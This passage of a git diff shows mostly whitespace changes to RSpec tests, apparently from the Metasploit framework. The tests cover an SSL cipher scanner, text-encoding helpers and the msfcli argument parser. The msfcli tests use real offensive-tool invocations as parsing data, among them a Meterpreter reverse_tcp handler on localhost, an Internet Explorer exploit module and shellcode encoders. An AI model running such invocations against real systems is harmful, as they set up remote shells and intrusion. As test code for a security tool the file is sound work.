version" do + subject.each_rejected([:SSLv3,:TLSv1]) do |cipher_details| + cipher_details[:version].should_not == :SSLv2 + end + end + end + end + + context "checking SSL support" do + context "for SSLv2" do + it "should return false if there are no accepted ciphers" do + subject.supports_sslv2?.should == false + end + it "should return true if there are accepted ciphers or raise an SSLv2 exception" do + begin + subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) + subject.supports_sslv2?.should == true + rescue ArgumentError => e + e.message.should == "unknown SSL method `SSLv2'." + end + end + end + context "for SSLv3" do + it "should return false if there are no accepted ciphers" do + subject.supports_sslv3?.should == false + end + it "should return true if there are accepted ciphers" do + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) + subject.supports_sslv3?.should == true + end + end + context "for TLSv1" do + it "should return false if there are no accepted ciphers" do + subject.supports_tlsv1?.should == false + end + it "should return true if there are accepted ciphers" do + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) + subject.supports_tlsv1?.should == true + end + end + context "for SSL at large" do + it "should return false if there are no accepted ciphers" do + subject.supports_ssl?.should == false + end + it "should return true if there are accepted ciphers" do + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) + subject.supports_ssl?.should == true + end + end + end + + context "checking for weak ciphers" do + context "when weak ciphers are supported" do + before(:each) do + subject.add_cipher(:SSLv3, "EXP-RC4-MD5", 40, :accepted) + subject.add_cipher(:SSLv3, "DES-CBC-SHA", 56, :accepted) + end + it "should return an array of weak ciphers from #weak_ciphers" do + weak = subject.weak_ciphers + weak.class.should == Array + weak.each do |cipher| + cipher[:weak].should == true + end + weak.count.should == 2 + end + + it "should return true from #supports_weak_ciphers" do + subject.supports_weak_ciphers?.should == true + end + end + + context "when no weak ciphers are supported" do + before(:each) do + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) + end + it "should return an empty array from #weak_ciphers" do + subject.weak_ciphers.should == [] + end + + it "should return false from #supports_weak_ciphers" do + subject.supports_weak_ciphers?.should == false + end + end + end + + context "checking for standards compliance" do + it "should return true if there is no SSL support" do + subject.standards_compliant?.should == true + end + + it "should return false if SSLv2 is supported or raise an SSLv2 exception" do + begin + subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) + subject.standards_compliant?.should == false + rescue ArgumentError => e + e.message.should == "unknown SSL method `SSLv2'." + end + end + + it "should return false if weak ciphers are supported" do + subject.add_cipher(:SSLv3, "EXP-RC2-CBC-MD5", 40, :accepted) + subject.standards_compliant?.should == false + end + + it "should return true if SSLv2 and Weak Ciphers are disabled" do + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) + subject.standards_compliant?.should == true + end + end + + context "when printing the results" do + context "when OpenSSL is compiled without SSLv2" do + before(:each) do + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) + subject.openssl_sslv2 = false + end + it "should warn the user" do + subject.to_s.should include "*** WARNING: Your OS hates freedom! Your OpenSSL libs are compiled without SSLv2 support!" + end + end + + context "when we have SSL results" do + before(:each) do + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) + subject.add_cipher(:SSLv3, "EXP-RC2-CBC-MD5", 40, :accepted) + + cert = OpenSSL::X509::Certificate.new + key = OpenSSL::PKey::RSA.new 2048 + cert.version = 2 # + cert.serial = 1 + cert.subject = OpenSSL::X509::Name.parse "/DC=org/DC=ruby-lang/CN=Ruby CA" + cert.issuer = cert.subject + cert.public_key = key.public_key + cert.not_before = Time.now + cert.not_after = cert.not_before + 2 * 365 * 24 * 60 * 60 # 2 + + subject.cert = cert + end + + it "should contain the certificate" do + subject.to_s.should include "Issuer: DC=org, DC=ruby-lang, CN=Ruby CA" + subject.to_s.should include "Subject: DC=org, DC=ruby-lang, CN=Ruby CA" + end + + it "should have a table with our SSL Cipher Results" do + subject.to_s.should include "Accepted * SSLv3 40 EXP-RC2-CBC-MD5" + subject.to_s.should include "Accepted SSLv3 128 AES128-SHA" + subject.to_s.should include "Accepted SSLv3 256 AES256-SHA" + subject.to_s.should include "Accepted TLSv1 256 AES256-SHA" + end + end + + it "should return an appropriate message when SSL is not supported" do + subject.stub(:supports_ssl?).and_return(false) + subject.to_s.should == "Server does not appear to support SSL on this port!" + end + + + end end diff --git a/spec/lib/rex/sslscan/scanner_spec.rb b/spec/lib/rex/sslscan/scanner_spec.rb index 93e760fe8a..372cf21e03 100644 --- a/spec/lib/rex/sslscan/scanner_spec.rb +++ b/spec/lib/rex/sslscan/scanner_spec.rb @@ -6,102 +6,102 @@ require 'rex/compat' describe Rex::SSLScan::Scanner do - subject{Rex::SSLScan::Scanner.new("google.com", 443)} + subject{Rex::SSLScan::Scanner.new("google.com", 443)} - it { should respond_to :host } - it { should respond_to :port } - it { should respond_to :timeout } - it { should respond_to :valid? } + it { should respond_to :host } + it { should respond_to :port } + it { should respond_to :timeout } + it { should respond_to :valid? } - context "when validating the scanner config" do - it "should return true when given a valid config" do - subject.valid?.should == true - end + context "when validating the scanner config" do + it "should return true when given a valid config" do + subject.valid?.should == true + end - it "should return false if given an invalid host" do - subject.host = nil - subject.valid?.should == false - end + it "should return false if given an invalid host" do + subject.host = nil + subject.valid?.should == false + end - it "should return false if given an invalid port" do - subject.port = nil - subject.valid?.should == false - end + it "should return false if given an invalid port" do + subject.port = nil + subject.valid?.should == false + end - it "should return false if given an invalid timeout" do - subject.timeout = nil - subject.valid?.should == false - end - end + it "should return false if given an invalid timeout" do + subject.timeout = nil + subject.valid?.should == false + end + end - context "when testing a single cipher" do - context "an exception should be raised if" do - it "has an invalid scanner configuration" do - subject.host =nil - expect{ subject.test_cipher(:SSLv2, "AES128-SHA")}.to raise_error - end + context "when testing a single cipher" do + context "an exception should be raised if" do + it "has an invalid scanner configuration" do + subject.host =nil + expect{ subject.test_cipher(:SSLv2, "AES128-SHA")}.to raise_error + end - it "is given an invalid SSL version" do - expect{ subject.test_cipher(:SSLv5, "AES128-SHA")}.to raise_error - end + it "is given an invalid SSL version" do + expect{ subject.test_cipher(:SSLv5, "AES128-SHA")}.to raise_error + end - it "is given an invalid cipher" do - expect{ subject.test_cipher(:SSLv2, "FOO128-SHA")}.to raise_error - end + it "is given an invalid cipher" do + expect{ subject.test_cipher(:SSLv2, "FOO128-SHA")}.to raise_error + end - it "is given an invalid cipher for the SSL Version" do - expect{ subject.test_cipher(:SSLv3, 'DES-CBC3-MD5')}.to raise_error - end - end + it "is given an invalid cipher for the SSL Version" do + expect{ subject.test_cipher(:SSLv3, 'DES-CBC3-MD5')}.to raise_error + end + end - context ":rejected should be returned if" do - it "scans a server that doesn't support the supplied SSL version" do - subject.test_cipher(:SSLv3, "DES-CBC-SHA").should == :rejected - end + context ":rejected should be returned if" do + it "scans a server that doesn't support the supplied SSL version" do + subject.test_cipher(:SSLv3, "DES-CBC-SHA").should == :rejected + end - it "scans a server that doesn't support the cipher" do - subject.test_cipher(:SSLv3, "DHE-DSS-AES256-SHA").should == :rejected - end - end + it "scans a server that doesn't support the cipher" do + subject.test_cipher(:SSLv3, "DHE-DSS-AES256-SHA").should == :rejected + end + end - context ":accepted should be returned if" do - it "scans a server that accepts the given cipher" do - subject.test_cipher(:SSLv3, "AES256-SHA").should == :accepted - end - end - end + context ":accepted should be returned if" do + it "scans a server that accepts the given cipher" do + subject.test_cipher(:SSLv3, "AES256-SHA").should == :accepted + end + end + end - context "when retrieving the cert" do - it "should return nil if it can't connect" do - subject.get_cert(:SSLv3, "DES-CBC-SHA").should == nil - end + context "when retrieving the cert" do + it "should return nil if it can't connect" do + subject.get_cert(:SSLv3, "DES-CBC-SHA").should == nil + end - it "should return an X509 cert if it can connect" do - subject.get_cert(:SSLv3, "AES256-SHA").class.should == OpenSSL::X509::Certificate - end - end + it "should return an X509 cert if it can connect" do + subject.get_cert(:SSLv3, "AES256-SHA").class.should == OpenSSL::X509::Certificate + end + end - context "when scanning https://google.com" do - it "should return a Result object" do - result = subject.scan - result.class.should == Rex::SSLScan::Result - end + context "when scanning https://google.com" do + it "should return a Result object" do + result = subject.scan + result.class.should == Rex::SSLScan::Result + end - context "if SSLv2 is not available locally" do - before(:each) do - subject.stub(:check_opensslv2).and_return(false) - subject.send(:initialize, 'google.com', 443) - end - it "should mark SSLv2 as unsupported" do - subject.supported_versions.should_not include :SSLv2 - subject.sslv2.should == false - end + context "if SSLv2 is not available locally" do + before(:each) do + subject.stub(:check_opensslv2).and_return(false) + subject.send(:initialize, 'google.com', 443) + end + it "should mark SSLv2 as unsupported" do + subject.supported_versions.should_not include :SSLv2 + subject.sslv2.should == false + end - it "should not test any SSLv2 ciphers" do - res = subject.scan - res.sslv2.should == [] - end - end - end + it "should not test any SSLv2 ciphers" do + res = subject.scan + res.sslv2.should == [] + end + end + end end diff --git a/spec/lib/rex/text_spec.rb b/spec/lib/rex/text_spec.rb index 96882e8c3f..9c1eb8dfb7 100644 --- a/spec/lib/rex/text_spec.rb +++ b/spec/lib/rex/text_spec.rb @@ -1,76 +1,76 @@ require 'rex/text' describe Rex::Text do - context "Class methods" do + context "Class methods" do - context ".to_octal" do - it "should convert all chars 00 through ff" do - described_class.to_octal("\x7f"*100).should eq("\\177"*100) + context ".to_octal" do + it "should convert all chars 00 through ff" do + described_class.to_octal("\x7f"*100).should eq("\\177"*100) - all_chars = (0..0xff).map {|c| [c].pack("C") }.join - all_octal = (0..0xff).map {|c| "\\%o"%(c) }.join - described_class.to_octal(all_chars).should eq(all_octal) - end - it "should use the given prefix" do - described_class.to_octal("\x7f"*100, "foo").should eq("foo177"*100) + all_chars = (0..0xff).map {|c| [c].pack("C") }.join + all_octal = (0..0xff).map {|c| "\\%o"%(c) }.join + described_class.to_octal(all_chars).should eq(all_octal) + end + it "should use the given prefix" do + described_class.to_octal("\x7f"*100, "foo").should eq("foo177"*100) - all_chars = (0..0xff).map {|c| [c].pack("C") }.join - all_octal = (0..0xff).map {|c| "test%o"%(c) }.join - described_class.to_octal(all_chars, "test").should eq(all_octal) - end - end + all_chars = (0..0xff).map {|c| [c].pack("C") }.join + all_octal = (0..0xff).map {|c| "test%o"%(c) }.join + described_class.to_octal(all_chars, "test").should eq(all_octal) + end + end - context ".to_hex" do - it "should convert all chars 00 through ff" do - described_class.to_hex("\x7f"*100).should eq("\\x7f"*100) + context ".to_hex" do + it "should convert all chars 00 through ff" do + described_class.to_hex("\x7f"*100).should eq("\\x7f"*100) - all_chars = (0..0xff).map {|c| [c].pack("C") }.join - all_hex = (0..0xff).map {|c| "\\x%02x"%(c) }.join - described_class.to_hex(all_chars).should eq(all_hex) - end - it "should use the given prefix" do - described_class.to_hex("\x7f"*100, "foo").should eq("foo7f"*100) + all_chars = (0..0xff).map {|c| [c].pack("C") }.join + all_hex = (0..0xff).map {|c| "\\x%02x"%(c) }.join + described_class.to_hex(all_chars).should eq(all_hex) + end + it "should use the given prefix" do + described_class.to_hex("\x7f"*100, "foo").should eq("foo7f"*100) - all_chars = (0..0xff).map {|c| [c].pack("C") }.join - all_hex = (0..0xff).map {|c| "test%02x"%(c) }.join - described_class.to_hex(all_chars, "test").should eq(all_hex) - end - end + all_chars = (0..0xff).map {|c| [c].pack("C") }.join + all_hex = (0..0xff).map {|c| "test%02x"%(c) }.join + described_class.to_hex(all_chars, "test").should eq(all_hex) + end + end - context ".to_hex_ascii" do - it "should handle non-printables" do - non_print = (0x7f..0xff).map {|c| [c].pack("C") }.join - non_print_hex = (0x7f..0xff).map {|c| "\\x%02x"%(c) }.join - described_class.to_hex_ascii(non_print).should eq(non_print_hex) + context ".to_hex_ascii" do + it "should handle non-printables" do + non_print = (0x7f..0xff).map {|c| [c].pack("C") }.join + non_print_hex = (0x7f..0xff).map {|c| "\\x%02x"%(c) }.join + described_class.to_hex_ascii(non_print).should eq(non_print_hex) - described_class.to_hex_ascii("\x00").should eq("\\x00") - described_class.to_hex_ascii("\x1f").should eq("\\x1f") - described_class.to_hex_ascii("\x00"*100).should eq("\\x00"*100) - end - it "should not mess with printables" do - described_class.to_hex_ascii("A").should eq("A") - described_class.to_hex_ascii("A\x7f").should eq("A\\x7f") - end - end + described_class.to_hex_ascii("\x00").should eq("\\x00") + described_class.to_hex_ascii("\x1f").should eq("\\x1f") + described_class.to_hex_ascii("\x00"*100).should eq("\\x00"*100) + end + it "should not mess with printables" do + described_class.to_hex_ascii("A").should eq("A") + described_class.to_hex_ascii("A\x7f").should eq("A\\x7f") + end + end - context ".gzip" do - it "should return a properly formatted gzip file" do - str = described_class.gzip("hi mom") - str[0,4].should eq("\x1f\x8b\x08\x00") # Gzip magic - # bytes 4 through 9 are a time stamp - str[10..-1].should eq("\xcb\xc8\x54\xc8\xcd\xcf\x05\x00\x68\xa4\x1c\xf0\x06\x00\x00\x00") - end - end + context ".gzip" do + it "should return a properly formatted gzip file" do + str = described_class.gzip("hi mom") + str[0,4].should eq("\x1f\x8b\x08\x00") # Gzip magic + # bytes 4 through 9 are a time stamp + str[10..-1].should eq("\xcb\xc8\x54\xc8\xcd\xcf\x05\x00\x68\xa4\x1c\xf0\x06\x00\x00\x00") + end + end - context ".ungzip" do - it "should return an uncompressed string" do - gzip = "\x1f\x8b\x08\x00" - gzip << "\x00" * 6 - gzip << "\xcb\xc8\x54\xc8\xcd\xcf\x05\x00\x68\xa4\x1c\xf0\x06\x00\x00\x00" - described_class.ungzip(gzip).should eq("hi mom") - end - end + context ".ungzip" do + it "should return an uncompressed string" do + gzip = "\x1f\x8b\x08\x00" + gzip << "\x00" * 6 + gzip << "\xcb\xc8\x54\xc8\xcd\xcf\x05\x00\x68\xa4\x1c\xf0\x06\x00\x00\x00" + described_class.ungzip(gzip).should eq("hi mom") + end + end - end + end end diff --git a/spec/msfcli_spec.rb b/spec/msfcli_spec.rb index bc89d9df21..4cc5a988ec 100644 --- a/spec/msfcli_spec.rb +++ b/spec/msfcli_spec.rb @@ -10,378 +10,378 @@ require 'msf/base' describe Msfcli do - # Get stdout: - # http://stackoverflow.com/questions/11349270/test-output-to-command-line-with-rspec - def get_stdout(&block) - out = $stdout - $stdout = fake = StringIO.new - begin - yield - ensure - $stdout = out - end - fake.string - end + # Get stdout: + # http://stackoverflow.com/questions/11349270/test-output-to-command-line-with-rspec + def get_stdout(&block) + out = $stdout + $stdout = fake = StringIO.new + begin + yield + ensure + $stdout = out + end + fake.string + end - context "Class methods" do - context ".initialize" do - it "should give me the correct module name in key :module_name after object initialization" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:module_name].should eq('multi/handler') - end + context "Class methods" do + context ".initialize" do + it "should give me the correct module name in key :module_name after object initialization" do + args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" + cli = Msfcli.new(args.split(' ')) + cli.instance_variable_get(:@args)[:module_name].should eq('multi/handler') + end - it "should give me the correct mode in key :mode after object initialization" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:mode].should eq('E') - end + it "should give me the correct mode in key :mode after object initialization" do + args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" + cli = Msfcli.new(args.split(' ')) + cli.instance_variable_get(:@args)[:mode].should eq('E') + end - it "should give me the correct module parameters after object initialization" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:params].should eq(['payload=windows/meterpreter/reverse_tcp', 'lhost=127.0.0.1']) - end + it "should give me the correct module parameters after object initialization" do + args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" + cli = Msfcli.new(args.split(' ')) + cli.instance_variable_get(:@args)[:params].should eq(['payload=windows/meterpreter/reverse_tcp', 'lhost=127.0.0.1']) + end - it "should give me an exploit name without the prefix 'exploit'" do - args = "exploit/windows/browser/ie_cbutton_uaf payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:module_name].should eq("windows/browser/ie_cbutton_uaf") - end + it "should give me an exploit name without the prefix 'exploit'" do + args = "exploit/windows/browser/ie_cbutton_uaf payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" + cli = Msfcli.new(args.split(' ')) + cli.instance_variable_get(:@args)[:module_name].should eq("windows/browser/ie_cbutton_uaf") + end - it "should give me an exploit name without the prefix 'exploits'" do - args = "exploits/windows/browser/ie_cbutton_uaf payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:module_name].should eq("windows/browser/ie_cbutton_uaf") - end + it "should give me an exploit name without the prefix 'exploits'" do + args = "exploits/windows/browser/ie_cbutton_uaf payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" + cli = Msfcli.new(args.split(' ')) + cli.instance_variable_get(:@args)[:module_name].should eq("windows/browser/ie_cbutton_uaf") + end - it "should set mode 's' (summary)" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp s" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:mode].should eq('s') - end + it "should set mode 's' (summary)" do + args = "multi/handler payload=windows/meterpreter/reverse_tcp s" + cli = Msfcli.new(args.split(' ')) + cli.instance_variable_get(:@args)[:mode].should eq('s') + end - it "should set mode 'h' (help) as default" do - args = "multi/handler" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:mode].should eq('h') - end - end + it "should set mode 'h' (help) as default" do + args = "multi/handler" + cli = Msfcli.new(args.split(' ')) + cli.instance_variable_get(:@args)[:mode].should eq('h') + end + end - context ".usage" do - it "should see a help menu" do - out = get_stdout { - cli = Msfcli.new([]) - cli.usage - } - out.should =~ /Usage/ - end - end + context ".usage" do + it "should see a help menu" do + out = get_stdout { + cli = Msfcli.new([]) + cli.usage + } + out.should =~ /Usage/ + end + end - # - # This one is slow because we're loading all modules - # - context ".dump_module_list" do - it "it should dump a list of modules" do - tbl = '' - stdout = get_stdout { - cli = Msfcli.new([]) - tbl = cli.dump_module_list - } - tbl.should =~ /Exploits/ and stdout.should =~ /Please wait/ - end - end + # + # This one is slow because we're loading all modules + # + context ".dump_module_list" do + it "it should dump a list of modules" do + tbl = '' + stdout = get_stdout { + cli = Msfcli.new([]) + tbl = cli.dump_module_list + } + tbl.should =~ /Exploits/ and stdout.should =~ /Please wait/ + end + end - context ".guess_payload_name" do - cli = Msfcli.new([]) + context ".guess_payload_name" do + cli = Msfcli.new([]) - it "should contain matches nedded for windows/meterpreter/reverse_tcp" do - m = cli.guess_payload_name('windows/meterpreter/reverse_tcp') - m.should eq([/stages\/windows\/meterpreter/, /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/]) - end + it "should contain matches nedded for windows/meterpreter/reverse_tcp" do + m = cli.guess_payload_name('windows/meterpreter/reverse_tcp') + m.should eq([/stages\/windows\/meterpreter/, /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/]) + end - it "should contain matches needed for windows/shell/reverse_tcp" do - m = cli.guess_payload_name('windows/shell/reverse_tcp') - m.should eq([/stages\/windows\/shell/, /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/]) - end + it "should contain matches needed for windows/shell/reverse_tcp" do + m = cli.guess_payload_name('windows/shell/reverse_tcp') + m.should eq([/stages\/windows\/shell/, /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/]) + end - it "should contain matches needed for windows/shell_reverse_tcp" do - m = cli.guess_payload_name('windows/shell_reverse_tcp') - m.should eq([/stages\/windows\/shell/, /payloads\/(singles|stagers|stages)\/windows\/.*(shell_reverse_tcp)\.rb$/]) - end + it "should contain matches needed for windows/shell_reverse_tcp" do + m = cli.guess_payload_name('windows/shell_reverse_tcp') + m.should eq([/stages\/windows\/shell/, /payloads\/(singles|stagers|stages)\/windows\/.*(shell_reverse_tcp)\.rb$/]) + end - it "should contain matches needed for php/meterpreter_reverse_tcp" do - m = cli.guess_payload_name('php/meterpreter_reverse_tcp') - m.should eq([/stages\/php\/meterpreter/, /payloads\/(stagers|stages)\/php\/.*(meterpreter_reverse_tcp)\.rb$/]) - end + it "should contain matches needed for php/meterpreter_reverse_tcp" do + m = cli.guess_payload_name('php/meterpreter_reverse_tcp') + m.should eq([/stages\/php\/meterpreter/, /payloads\/(stagers|stages)\/php\/.*(meterpreter_reverse_tcp)\.rb$/]) + end - it "should contain matches needed for linux/x86/meterpreter/reverse_tcp" do - m = cli.guess_payload_name('linux/x86/meterpreter/reverse_tcp') - m.should eq([/stages\/linux\/x86\/meterpreter/, /payloads\/(stagers|stages)\/linux\/x86\/.*(reverse_tcp)\.rb$/]) - end + it "should contain matches needed for linux/x86/meterpreter/reverse_tcp" do + m = cli.guess_payload_name('linux/x86/meterpreter/reverse_tcp') + m.should eq([/stages\/linux\/x86\/meterpreter/, /payloads\/(stagers|stages)\/linux\/x86\/.*(reverse_tcp)\.rb$/]) + end - it "should contain matches needed for java/meterpreter/reverse_tcp" do - m = cli.guess_payload_name('java/meterpreter/reverse_tcp') - m.should eq([/stages\/java\/meterpreter/, /payloads\/(stagers|stages)\/java\/.*(reverse_tcp)\.rb$/]) - end + it "should contain matches needed for java/meterpreter/reverse_tcp" do + m = cli.guess_payload_name('java/meterpreter/reverse_tcp') + m.should eq([/stages\/java\/meterpreter/, /payloads\/(stagers|stages)\/java\/.*(reverse_tcp)\.rb$/]) + end - it "should contain matches needed for cmd/unix/reverse" do - m = cli.guess_payload_name('cmd/unix/reverse') - m.should eq([/stages\/cmd\/shell/, /payloads\/(singles|stagers|stages)\/cmd\/.*(reverse)\.rb$/]) - end + it "should contain matches needed for cmd/unix/reverse" do + m = cli.guess_payload_name('cmd/unix/reverse') + m.should eq([/stages\/cmd\/shell/, /payloads\/(singles|stagers|stages)\/cmd\/.*(reverse)\.rb$/]) + end - it "should contain matches needed for bsd/x86/shell_reverse_tcp" do - m = cli.guess_payload_name('bsd/x86/shell_reverse_tcp') - m.should eq([/stages\/bsd\/x86\/shell/, /payloads\/(singles|stagers|stages)\/bsd\/x86\/.*(shell_reverse_tcp)\.rb$/]) - end - end + it "should contain matches needed for bsd/x86/shell_reverse_tcp" do + m = cli.guess_payload_name('bsd/x86/shell_reverse_tcp') + m.should eq([/stages\/bsd\/x86\/shell/, /payloads\/(singles|stagers|stages)\/bsd\/x86\/.*(shell_reverse_tcp)\.rb$/]) + end + end - context ".guess_encoder_name" do - cli = Msfcli.new([]) - it "should contain a match for x86/shikata_ga_nai" do - encoder = 'x86/shikata_ga_nai' - m = cli.guess_encoder_name(encoder) - m.should eq([/encoders\/#{encoder}/]) - end - end + context ".guess_encoder_name" do + cli = Msfcli.new([]) + it "should contain a match for x86/shikata_ga_nai" do + encoder = 'x86/shikata_ga_nai' + m = cli.guess_encoder_name(encoder) + m.should eq([/encoders\/#{encoder}/]) + end + end - context ".guess_nop_name" do - cli = Msfcli.new([]) - it "should contain a match for guess_nop_name" do - nop = 'x86/single_byte' - m = cli.guess_nop_name(nop) - m.should eq([/nops\/#{nop}/]) - end - end + context ".guess_nop_name" do + cli = Msfcli.new([]) + it "should contain a match for guess_nop_name" do + nop = 'x86/single_byte' + m = cli.guess_nop_name(nop) + m.should eq([/nops\/#{nop}/]) + end + end - context ".generate_whitelist" do - it "should generate a whitelist for linux/x86/shell/reverse_tcp with encoder x86/fnstenv_mov" do - args = "multi/handler payload=linux/x86/shell/reverse_tcp lhost=127.0.0.1 encoder=x86/fnstenv_mov E" - cli = Msfcli.new(args.split(' ')) - list = cli.generate_whitelist.map { |e| e.to_s } - answer = [ - /multi\/handler/, - /stages\/linux\/x86\/shell/, - /payloads\/(stagers|stages)\/linux\/x86\/.*(reverse_tcp)\.rb$/, - /encoders\/x86\/fnstenv_mov/, - /post\/.+/, - /encoders\/generic\/*/, - /nops\/.+/ - ].map { |e| e.to_s } + context ".generate_whitelist" do + it "should generate a whitelist for linux/x86/shell/reverse_tcp with encoder x86/fnstenv_mov" do + args = "multi/handler payload=linux/x86/shell/reverse_tcp lhost=127.0.0.1 encoder=x86/fnstenv_mov E" + cli = Msfcli.new(args.split(' ')) + list = cli.generate_whitelist.map { |e| e.to_s } + answer = [ + /multi\/handler/, + /stages\/linux\/x86\/shell/, + /payloads\/(stagers|stages)\/linux\/x86\/.*(reverse_tcp)\.rb$/, + /encoders\/x86\/fnstenv_mov/, + /post\/.+/, + /encoders\/generic\/*/, + /nops\/.+/ + ].map { |e| e.to_s } - list.should eq(answer) - end + list.should eq(answer) + end - it "should generate a whitelist for windows/meterpreter/reverse_tcp with default options" do - args = 'multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E' - cli = Msfcli.new(args.split(' ')) - list = cli.generate_whitelist.map { |e| e.to_s } - answer = [ - /multi\/handler/, - /stages\/windows\/meterpreter/, - /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, - /post\/.+/, - /encoders\/generic\/*/, - /encoders\/.+/, - /nops\/.+/ - ].map { |e| e.to_s } + it "should generate a whitelist for windows/meterpreter/reverse_tcp with default options" do + args = 'multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E' + cli = Msfcli.new(args.split(' ')) + list = cli.generate_whitelist.map { |e| e.to_s } + answer = [ + /multi\/handler/, + /stages\/windows\/meterpreter/, + /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, + /post\/.+/, + /encoders\/generic\/*/, + /encoders\/.+/, + /nops\/.+/ + ].map { |e| e.to_s } - list.should eq(answer) - end + list.should eq(answer) + end - it "should generate a whitelist for windows/meterpreter/reverse_tcp with options: encoder='' post='' nop=''" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 encoder='' post='' nop='' E" - cli = Msfcli.new(args.split(' ')) - list = cli.generate_whitelist.map { |e| e.to_s } - answer = [ - /multi\/handler/, - /stages\/windows\/meterpreter/, - /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, - /encoders\/''/, - /post\/''/, - /nops\/''/, - /encoders\/generic\/*/ - ].map { |e| e.to_s } + it "should generate a whitelist for windows/meterpreter/reverse_tcp with options: encoder='' post='' nop=''" do + args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 encoder='' post='' nop='' E" + cli = Msfcli.new(args.split(' ')) + list = cli.generate_whitelist.map { |e| e.to_s } + answer = [ + /multi\/handler/, + /stages\/windows\/meterpreter/, + /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, + /encoders\/''/, + /post\/''/, + /nops\/''/, + /encoders\/generic\/*/ + ].map { |e| e.to_s } - list.should eq(answer) - end + list.should eq(answer) + end - it "should generate a whitelist for windows/meterpreter/reverse_tcp with options: encoder= post= nop=" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 encoder= post= nop= E" - cli = Msfcli.new(args.split(' ')) - list = cli.generate_whitelist.map { |e| e.to_s } - answer = [ - /multi\/handler/, - /stages\/windows\/meterpreter/, - /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, - /encoders\/generic\/*/ - ].map { |e| e.to_s } + it "should generate a whitelist for windows/meterpreter/reverse_tcp with options: encoder= post= nop=" do + args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 encoder= post= nop= E" + cli = Msfcli.new(args.split(' ')) + list = cli.generate_whitelist.map { |e| e.to_s } + answer = [ + /multi\/handler/, + /stages\/windows\/meterpreter/, + /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, + /encoders\/generic\/*/ + ].map { |e| e.to_s } - list.should eq(answer) - end - end + list.should eq(answer) + end + end - context ".init_modules" do - it "should have multi/handler module initialized" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - m = '' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - } + context ".init_modules" do + it "should have multi/handler module initialized" do + args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" + m = '' + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + } - m[:module].class.to_s.should =~ /^Msf::Modules::/ - end + m[:module].class.to_s.should =~ /^Msf::Modules::/ + end - it "should have my payload windows/meterpreter/reverse_tcp initialized" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - m = '' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - } + it "should have my payload windows/meterpreter/reverse_tcp initialized" do + args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" + m = '' + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + } - m[:payload].class.to_s.should =~ /<Class:/ - end + m[:payload].class.to_s.should =~ /<Class:/ + end - it "should have my modules initialized with the correct parameters" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - m = '' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - } + it 